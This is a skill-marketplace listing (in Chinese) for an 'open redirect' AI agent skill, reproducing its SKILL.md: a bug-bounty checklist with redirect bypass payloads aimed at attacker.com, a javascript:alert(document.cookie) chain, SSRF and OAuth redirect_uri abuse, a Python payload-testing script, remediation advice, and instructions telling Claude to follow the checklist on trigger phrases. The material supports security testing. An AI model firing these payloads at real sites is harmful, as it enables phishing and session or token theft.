开放重定向

SKILL运维和基础设施
运维和基础设施 未标注权限 许可证不明确
安装这个技能

开放重定向专用技能,帮助AI Agent高效完成相关任务。

一句话选型结论

按资料字段整理

开放重定向是运维和基础设施类的 Agent Skill,安装方式未标注,权限级别未标注,许可证不明确,有可直接复制的安装命令。技能本质是给模型读的说明书,效果取决于模型与客户端;装完先用一个小任务验证,再放进正式流程。

分类运维和基础设施 安装方式未标注 权限级别未标注权限 许可证许可证不明确
累计安装 未标注 本周 未标注
GitHub 星标 未标注 仓库 未标注
下载量 未标注 技能市场下载数
权限级别 未标注权限 安装前请确认风险范围
许可证 许可证不明确 未说明

安装

未标注
在支持 Skills 的客户端里执行,装完问一句「你有哪些技能」验证
skillhub install user_3c6cb52e/open-redirect-ivqe
  1. 1
    确认客户端支持

    确认你的客户端支持 Skills(Claude、Codex、Cursor 等),并升级到较新的版本。

  2. 2
    拿到技能文件

    执行上面的命令安装;也可以把仓库里的 SKILL.md 手动放进客户端的 skills 目录。

  3. 3
    刷新技能列表

    重新打开客户端,或刷新技能列表,让新放进来的技能被加载。

  4. 4
    验证是否生效

    问一句「你有哪些技能」,确认列表里出现它,再拿一个小任务试跑。

技能档案

运维和基础设施
字段来自技能仓库与公开索引,中文说明由本站标注
作者 / 维护方user_3c6cb52e仓库 未标注 · 版本 未标注
宿主客户端未标注技能可被这些客户端加载
安装方式未标注安装包 community
权限级别未标注权限安装前请确认风险范围
许可证未说明许可证不明确,商用前请自行确认条款
仓库可用性available技能仓库当前是否可访问
最近核验未标注上游最后核验时间 · 数据更新 1791622474
正文体量16.5 KBSKILL.md 原文大小,越大说明说明书写得越细

典型使用场景

3 类
按分类整理的常见用法,具体以 SKILL.md 为准
查服务与日志

按现象定位服务状态与日志线索。

写部署与巡检脚本

把重复的部署、巡检写成脚本。

故障排查

按步骤排查网络、依赖与配置。

选择建议

装之前先看这几条
按条目字段给出的判断,不替你决定用不用

值得选的地方

  • 有可直接复制的安装命令,不用自己翻文档找入口。

先想清楚的地方

  • 没有标注权限级别,实际能做什么要装好后确认。
  • 许可证不明确,商用或二次分发前先到仓库确认条款。
  • 没有做站内核验,内容以作者仓库为准。
  • 技能只是说明书,实际效果取决于模型与客户端,装完先用小任务试一遍。

更适合

  • 需要在运维和基础设施场景里给模型补一套做法的人。
  • 愿意先读一遍 SKILL.md、确认它会让模型做什么的人。

不太适合

  • 对许可证要求很严、必须明确可商用的人。
  • 只想装完就自动变强、不打算看说明书的人。

同类对比

6 个同类
同分类里挑最接近的几条,字段以各自详情页为准
技能权限级别安装方式累计安装宿主客户端安装命令
开放重定向当前 未标注权限 未标注 未标注 未标注 有
Azure 部署 调用外部服务 GitHub 仓库 664.2 万 Codex、Claude、Cursor 有
Azure diagnostics 问题管理 调用外部服务 GitHub 仓库 657.6 万 Codex、Claude、Cursor 有
Azure aigateway 部署 调用外部服务 GitHub 仓库 655.3 万 Codex、Claude、Cursor 有
Azure AI 搜索 调用外部服务 GitHub 仓库 651.4 万 Codex、Claude、Cursor 有
Azure Cloud migrate 部署 调用外部服务 GitHub 仓库 650.7 万 Codex、Claude、Cursor 有

SKILL.md 全文

16.5 KB
模型实际读到的说明书原文,来自技能仓库

SKILL: Open Redirect Vulnerabilities

Metadata

  • Skill Name: open-redirect
  • Folder: offensive-open-redirect
  • Source: https://github.com/SnailSploit/offensive-checklist/blob/main/open-redirect.md

Description

Open redirect vulnerability checklist: parameter identification, bypass techniques (URL encoding, double slashes, CRLF injection, protocol handlers), chaining with OAuth/SSRF, and impact escalation paths. Use for web app testing and bug bounty open redirect discovery.

Trigger Phrases

Use this skill when the conversation involves any of:
open redirect, URL redirect, redirect bypass, URL encoding bypass, CRLF, protocol handler, redirect chain, OAuth redirect, SSRF chain, open redirection

Instructions for Claude

When this skill is active:
1. Load and apply the full methodology below as your operational checklist
2. Follow steps in order unless the user specifies otherwise
3. For each technique, consider applicability to the current target/context
4. Track which checklist items have been completed
5. Suggest next steps based on findings


Full Methodology

Open Redirect Vulnerabilities

Shortcut

  • Search for redirect URL parameters. These might be vulnerable to parameter based open redirect.
  • Search for pages that perform referer based redirect. These are candidates for a referer based open redirect.
  • Test the pages and parameters you've found for open redirect.
  • If the server blocks the open redirect, try the protection bypass techniques mentioned before.
  • Brainstorm ways of using the open redirect in your other bug chains.

Mechanisms

Open redirect vulnerabilities occur when web applications improperly validate user-supplied URLs used for redirections. These vulnerabilities allow attackers to craft links that appear legitimate but redirect victims to malicious websites. When exploited, the victim initially connects to a trusted domain, giving the malicious link an appearance of legitimacy, before being redirected to an attacker-controlled destination.

sequenceDiagram
    participant Victim
    participant TrustedSite
    participant AttackerSite

    Victim->>TrustedSite: Click malicious link<br/>trusted.com/redirect?url=evil.com
    Note over TrustedSite: Inadequate URL validation
    TrustedSite->>Victim: HTTP 302 Redirect to evil.com
    Victim->>AttackerSite: Automatic redirect
    AttackerSite->>Victim: Malicious content

The core technical flaws leading to open redirects include:

  • Insufficient URL Validation: Failure to properly validate redirect targets
  • Improper Allowlist Implementation: Flawed validation logic that can be bypassed
  • Inadequate Sanitization: Incorrect handling of special characters or encoding
  • Trusting Client-Side Input: Using user-supplied parameters for redirection without verification

Notes

  • Browsers restrict javascript: navigations from cross-origin contexts more, but many apps forward redirects to clients; validate server-side before emitting 3xx.
  • OAuth/SSO stacks increasingly require exact redirect_uri match; test for partial/path-only allowlists and case/encoding mismatches.
  • Mobile deep links: open redirects can escalate to app link hijack; test intent: URLs on Android and iOS universal link fallbacks.

Modern Browser Behaviors

  • Chrome 120+ Restrictions: Enhanced protection against cross-site redirects; test if app relies on specific redirect chains
  • SameSite Cookie Implications: SameSite=Lax default affects redirect flows; test authentication state preservation
  • Referrer-Policy Impact: no-referrer or strict-origin may break redirect detection; test logging/analytics dependencies
  • COOP/COEP Headers: Cross-Origin-Opener-Policy can break popup-based OAuth flows
  • Fenced Frames: New iframe replacement affects redirect chains in isolated contexts

Open redirects can exist in various implementation patterns:

  • URL Parameter Redirects: Explicit redirect parameters (e.g., ?redirect=, ?url=, ?next=)
  • Path-Based Redirects: URL paths that trigger redirects (e.g., /redirect/https://example.com)
  • Referer-Based Redirects: Redirects based on the HTTP Referer header
  • Post-Authentication Redirects: Return URLs after login or authentication flows
  • URL Shorteners: Services that redirect to expanded URLs
  • Framework Redirector Endpoints: Dedicated redirection functionality in web frameworks

Hunt

Identifying Open Redirect Vulnerabilities

Target Discovery

  1. Identify Redirection Parameters:
    - Common redirect parameter names:
    redirect, redirect_to, url, link, goto, return, returnTo, destination, next, checkout, checkout_url, continue, return_path, return_url, forward, path, redir, redirect_uri, view, img_url, image_url, load_url

  2. Find Redirection Endpoints:
    - Social login integrations
    - Authentication flows
    - Payment gateways
    - "Share" functionality
    - URL shorteners
    - SSO implementations
    - File/resource access endpoints

  3. Search Code and Documentation:
    - Review JavaScript for redirect functions
    - Check for framework-specific redirect endpoints
    - Analyze HTTP 3xx response patterns

Testing Methodologies

  1. Basic Open Redirect Testing:
    - Test with absolute URLs:
    https://target.com/redirect?url=https://attacker.com https://target.com/redirect?next=https://attacker.com
    - Test with protocol-relative URLs:
    https://target.com/redirect?url=//attacker.com
    - Test with relative path traversal:
    https://target.com/redirect?url=/../redirect?url=https://attacker.com

  2. Referer-Based Open Redirect Testing:
    - Identify pages that redirect based on Referer header
    - Modify Referer header to external domains
    - Test login/logout pages with custom Referer values

  3. OAuth Redirect Testing:
    - Identify OAuth implementation redirect_uri parameters
    - Test for improper validation:
    https://target.com/oauth/authorize?client_id=CLIENT_ID&redirect_uri=https://attacker.com

Bypass Techniques

graph TD
    subgraph "Open Redirect Bypass Techniques"
    A[Validation Bypasses] --> B[Domain Spoofing]
    A --> C[Encoding Bypasses]
    A --> D[Protocol Confusion]
    A --> E[Path-Based Bypasses]
    A --> F[Special Character Abuse]

    B --> B1["target.com.attacker.com"]
    B --> B2["attacker.com?target.com"]

    C --> C1["URL Encoding: %68%74%74%70%73..."]
    C --> C2["Double Encoding"]

    D --> D1["javascript:alert(1)"]
    D --> D2["data:text/html;base64,..."]

    E --> E1["////attacker.com"]
    E --> E2["/\/attacker.com"]

    F --> F1["target.com@attacker.com"]
    F --> F2["attacker.com#target.com"]
    end

Domain Spoofing Techniques

https://target.com/redirect?url=https://target.com.attacker.com
https://target.com/redirect?url=https://attacker.com?target.com
https://target.com/redirect?url=https://attackertarget.com

CDN/Reverse Proxy Quirks

  • Mixed scheme parsing (https;/) accepted upstream but normalized downstream.
  • Double decode at different layers (edge vs. origin) enabling %252F style bypass.
  • Header-driven redirects (X-Original-URL, X-Forwarded-Proto) abused through misconfigured proxies.

Encoding Bypass Techniques

https://target.com/redirect?url=https%3A%2F%2Fattacker.com
https://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%61%74%74%61%63%6b%65%72%2e%63%6f%6d

Protocol Confusion Bypasses

https://target.com/redirect?url=javascript:alert(document.domain)
https://target.com/redirect?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
https://target.com/redirect?url=https;/attacker.com

Path-Based Bypasses

https://target.com/redirect?url=/\/attacker.com
https://target.com/redirect?url=////attacker.com
https://target.com/redirect?url=\/\/attacker.com/

Special Character Abuse

https://target.com/redirect?url=https://target.com@attacker.com
https://target.com/redirect?url=https://attacker.com#target.com
https://target.com/redirect?url=https://attacker.com\@target.com

Vulnerabilities

Common Open Redirect Vulnerability Patterns

Implementation-Specific Vulnerabilities

  1. Framework Redirector Vulnerabilities:
    - Spring MVC: Improper handling of the url parameter
    /spring/login?url=https://attacker.com
    - Laravel: Unvalidated redirect in redirect() helper
    /redirect?url=https://attacker.com
    - Express.js: Unvalidated res.redirect() calls
    /login?redirect=https://attacker.com
    - Next.js (App Router): Server Actions redirect abuse
    // Test Server Action redirect injection /api/action?redirect=https://attacker.com
    - SvelteKit: goto() and redirect() manipulation
    // Test in hooks.server.ts /auth/callback?redirectTo=https://attacker.com
    - Remix: loader/action redirect injection
    /login?redirectTo=https://attacker.com
    - Astro: redirect() in API routes
    /api/redirect?url=https://attacker.com

  2. OAuth Implementation Vulnerabilities:
    - Implicit Flow Redirect: Missing validation in redirect_uri
    /oauth/authorize?response_type=token&redirect_uri=https://attacker.com
    - Authorization Code Flow: Improper state parameter handling
    /oauth/callback?code=ABC123&state=https://attacker.com

  3. Social Login Vulnerabilities:
    - Facebook Login: Unvalidated return_url parameter
    /login/facebook/callback?return_url=https://attacker.com
    - Google OAuth: Improper redirect_uri validation
    /auth/google/callback?redirect_uri=https://attacker.com

Impact Scenarios

graph LR
    subgraph "Open Redirect Impact Scenarios"
    A[Open Redirect] --> B[Phishing Attacks]
    A --> C[CSRF Augmentation]
    A --> D[Advanced Attack Chains]

    B --> B1[Domain Credibility Abuse]
    B --> B2[Context-Aware Phishing]

    C --> C1[Redirect Chaining]
    C --> C2[Login CSRF]

    D --> D1[XSS via Redirect]
    D --> D2[SSRF via Redirect]
    D --> D3[OAuth Token Theft]
    end

Phishing Attack Vectors

  • Domain Credibility Abuse: Leveraging trusted domain for phishing
  • Session Fixation Enhancement: Combining with session fixation attacks
  • Context-Aware Phishing: Using information from the original site

CSRF Augmentation

  • Redirect Chaining: Creating multi-step attack chains
  • Login CSRF: Forcing login to attacker-controlled accounts

Advanced Attack Chains

  • XSS via Open Redirect: Using JavaScript URIs for XSS
    https://target.com/redirect?url=javascript:alert(document.cookie)
  • SSRF via Open Redirect: Internal service access
    https://target.com/redirect?url=http://internal-service/admin
  • OAuth Token Theft: Stealing OAuth tokens via redirect_uri manipulation

Methodologies

Tools

Open Redirect Detection Tools

  • OWASP ZAP: Open redirect scanner
  • Burp Suite: Collaborator for testing blind redirects
  • OpenRedireX: Specialized open redirect testing tool
  • Gxss: Tool to check for redirect XSS
  • Waybackurls: For discovering historical redirect endpoints
  • Param Spider: For discovering URL parameters

Custom Detection Scripts

import requests
from urllib.parse import urlparse

def test_open_redirect(target_url, redirect_param, payloads):
    for payload in payloads:
        test_url = f"{target_url}{redirect_param}={payload}"
        try:
            # Disable redirects to manually check
            response = requests.get(test_url, allow_redirects=False, timeout=10)
            if response.status_code in [301, 302, 303, 307, 308]:
                location = response.headers.get('Location', '')
                parsed = urlparse(location)
                if parsed.netloc and parsed.netloc not in target_domain:
                    print(f"Potential Open Redirect: {test_url} -> {location}")
        except Exception as e:
            print(f"Error testing {test_url}: {e}")

# Target website
target_url = "https://target.com/redirect?"
target_domain = "target.com"
redirect_param = "url"

# Common bypass payloads
payloads = [
    "https://attacker.com",
    "//attacker.com",
    "https%3A%2F%2Fattacker.com",
    "/\/attacker.com",
    "https://target.com@attacker.com",
    "https://target.com.attacker.com",
    "javascript:alert(document.domain)"
]

test_open_redirect(target_url, redirect_param, payloads)

Testing Strategies

flowchart TD
    A[Open Redirect Testing Strategy] --> B[Discovery Phase]
    A --> C[Initial Testing]
    A --> D[Bypass Testing]
    A --> E[Exploitation]
    A --> F[Documentation]

    B --> B1[Map redirect functionality]
    B --> B2[Identify parameters]
    B --> B3[Review source code]

    C --> C1[Test basic payloads]
    C --> C2[Observe behavior]

    D --> D1[Test domain validation bypasses]
    D --> D2[Test encoding bypasses]

    E --> E1[Create PoC exploits]
    E --> E2[Chain with other vulnerabilities]

    F --> F1[Document vulnerable endpoints]
    F --> F2[Note successful bypasses]

Comprehensive Open Redirect Testing Process

  1. Discovery Phase:
    - Map all redirection functionality
    - Identify redirect parameters through:

    • Manual testing
    • Automated crawling
    • Source code review
    • Parameter discovery tools
  2. Initial Testing Phase:
    - Test basic payload patterns:
    ?redirect=https://attacker.com ?redirect=//attacker.com ?redirect=\/\/attacker.com
    - Observe redirection behavior
    - Document instances of successful redirects

  3. Bypass Testing Phase:
    - Test against identified protection mechanisms:

    • Domain validation bypasses
    • Encoding bypasses
    • Protocol bypasses
    • Path manipulation bypasses
  4. Exploitation Phase:
    - Create proof-of-concept exploits
    - Chain with other vulnerabilities where possible
    - Demonstrate potential impact scenarios

  5. Documentation Phase:
    - Document vulnerable parameters and endpoints
    - Note successful bypass techniques
    - Provide clear reproduction steps

Real-World Testing Examples

OAuth Redirect Testing

  1. Identify OAuth implementation
  2. Locate redirect_uri parameter
  3. Test various redirect_uri values:
    - https://attacker.com
    - https://target.com.attacker.com
    - https://targetattacker.com
  4. Check for token leakage in the redirection

Post-Authentication Redirect Testing

  1. Authenticate to the application
  2. Identify post-login redirects
  3. Test redirect parameters with different formats:
    - Absolute URLs: https://attacker.com
    - Relative with protocol: //attacker.com
    - Encoded values: %68%74%74%70%73%3a%2f%2f%61%74%74%61%63%6b%65%72%2e%63%6f%6d

URL Shortener Testing

  1. Identify URL shortening functionality
  2. Submit malicious URLs for shortening
  3. Test shortening of various payload formats:
    - javascript:alert(1)
    - data: URLs
    - Protocol-less URLs: //attacker.com

Remediation Recommendations

  • Implement Proper Validation:
  • Use allowlists of permitted domains
  • Validate using server-side logic (not client-side)
  • Implement URI parsing libraries for proper validation

  • Use Indirect References:

  • Instead of directly using user input for redirects, map to server-side values
  • Example: Use numeric IDs that map to pre-approved URLs

  • Implement Safe Redirect Patterns:

  • Create a warning page for external redirects
  • Include clear indicators of leaving the site
  • Add visual cues for external navigation

  • Technical Controls:

  • Validate protocol (only http/https)
  • Validate domain against allowlist
  • Use full URL parsing rather than simple string checks
  • Implement CSRF protection for redirect endpoints
  • For mobile deep links, validate package/bundle IDs and enforce App Links/Universal Links verification.

常见问题

5 问
答案由本站依据条目字段整理
开放重定向怎么安装?

在支持 Skills 的客户端里执行:skillhub install user_3c6cb52e/open-redirect-ivqe。安装方式为未标注。装完刷新技能列表或重开客户端。

开放重定向支持哪些客户端?

资料没有标注宿主客户端,但只要客户端支持 Skills(Claude、Codex、Cursor 等),一般都能加载。

开放重定向权限高吗,安全吗?

权限级别为未标注权限。安装前先看它会读取或写入哪些内容。

开放重定向收费吗?

本站不代收费用,也没有标注具体价格。是否收费取决于技能本身和所用的模型或客户端,正式使用前按作者说明确认。

开放重定向用什么许可证?

许可证标注为 未说明(许可证不明确)。商用或二次分发前请到仓库确认条款原文。

热门专题

按场景挑技能
全部专题 →

技能内容以作者仓库为准;分类、权限级别与许可证状态的中文说明为中文整理,最近核验 未标注。